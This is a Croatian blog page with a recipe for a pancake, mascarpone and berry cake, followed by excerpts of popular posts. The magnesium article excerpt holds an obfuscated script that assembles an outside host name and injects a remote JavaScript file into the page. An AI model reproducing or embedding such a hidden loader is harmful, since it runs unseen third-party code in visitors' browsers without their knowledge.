TORTA OD PALAČINKI, MASCARPONEA I VOĆA 🥞 🍰





Torta od palačinki, mascarponea i voća 



Le Courchevel jedna je od onih torti koje osvajaju izgledom na prvi pogled, a zapravo su jako jednostavne za pripremu. Inspirirana elegantnim francuskim slasticama, ova torta kombinira tanke palačinke, prozračnu kremu te maline i jagode.




Torta od palačinki, mascarponea i voća 



Sastojci:

za palačinke:

  • 375 ml punomasnog mlijeka
  • 3 velika jaja
  • 190 g glatkog brašna
  • 40 g šećera
  • 40 g maslaca
  • prstohvat soli

za preljev od malina:

  • 150 g šećera
  • 200 ml vode
  • 125 g malina

za kremu i nadjev:

  • 16 piškota
  • 500 ml vrhnja za šlag
  • 250 g mascarponea
  • 60 g šećera u prahu
  • 1 žličica ekstrakta vanilije
  • 200 g jagoda, sitno narezanih
  • 125 g svježih malina

dodatno:

  • 2 žlice džema od marelice
  • malo vode
  • šlag za posluživanje
  • šećer u prahu za posipanje



Priprema:

  1. U zdjeli pjenjačom izmiješajte mlijeko, brašno, jaja, šećer i prstohvat soli dok ne dobijete glatku smjesu bez grudica. Ostavite da odstoji najmanje 30 minuta.
  2. Zagrijte lagano nauljenu tavu te ispecite pet tankih palačinki. Ostavite da se ohlade.
  3. Za preljev od malina u manji lonac stavite šećer, vodu i maline. Kuhajte na srednje jakoj vatri oko 10 minuta, povremeno miješajući. Procijedite kroz gusto cjedilo i ostavite da se potpuno ohladi.
  4. Istucite vrhnje za šlag s mascarponeom, šećerom u prahu i vanilijom dok ne dobijete čvrstu i prozračnu kremu
  5. Kalup za tortu promjera 20 cm obložite palačinkama tako da prekrijete dno i stranice, a dio palačinki neka visi preko ruba kalupa. Jednu obrezanu palačinku položite na dno kako biste zatvorili eventualne otvore.
  6. Na dno rasporedite tanki sloj kreme. Piškote kratko umačite u ohlađeni preljev od malina i slažite preko kreme. Dodajte dio narezanih jagoda. Ponovite slaganje slojeva još dva puta.
  7. Završite drugom obrezanom palačinkom te preklopite rubove palačinki preko vrha kako biste zatvorili tortu. Pokrijte i stavite u hladnjak na najmanje šest sati, a najbolje preko noći.
  8. Pažljivo izvadite tortu iz kalupa i preokrenite na tanjur za posluživanje. Džem od marelice zagrijte s jednom žličicom vode pa njime premažite površinu palačinki kako bi dobile lijep sjaj.
  9. Ukrasite dodatnim šlagom i svježim malinama te lagano pospite šećerom u prahu.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više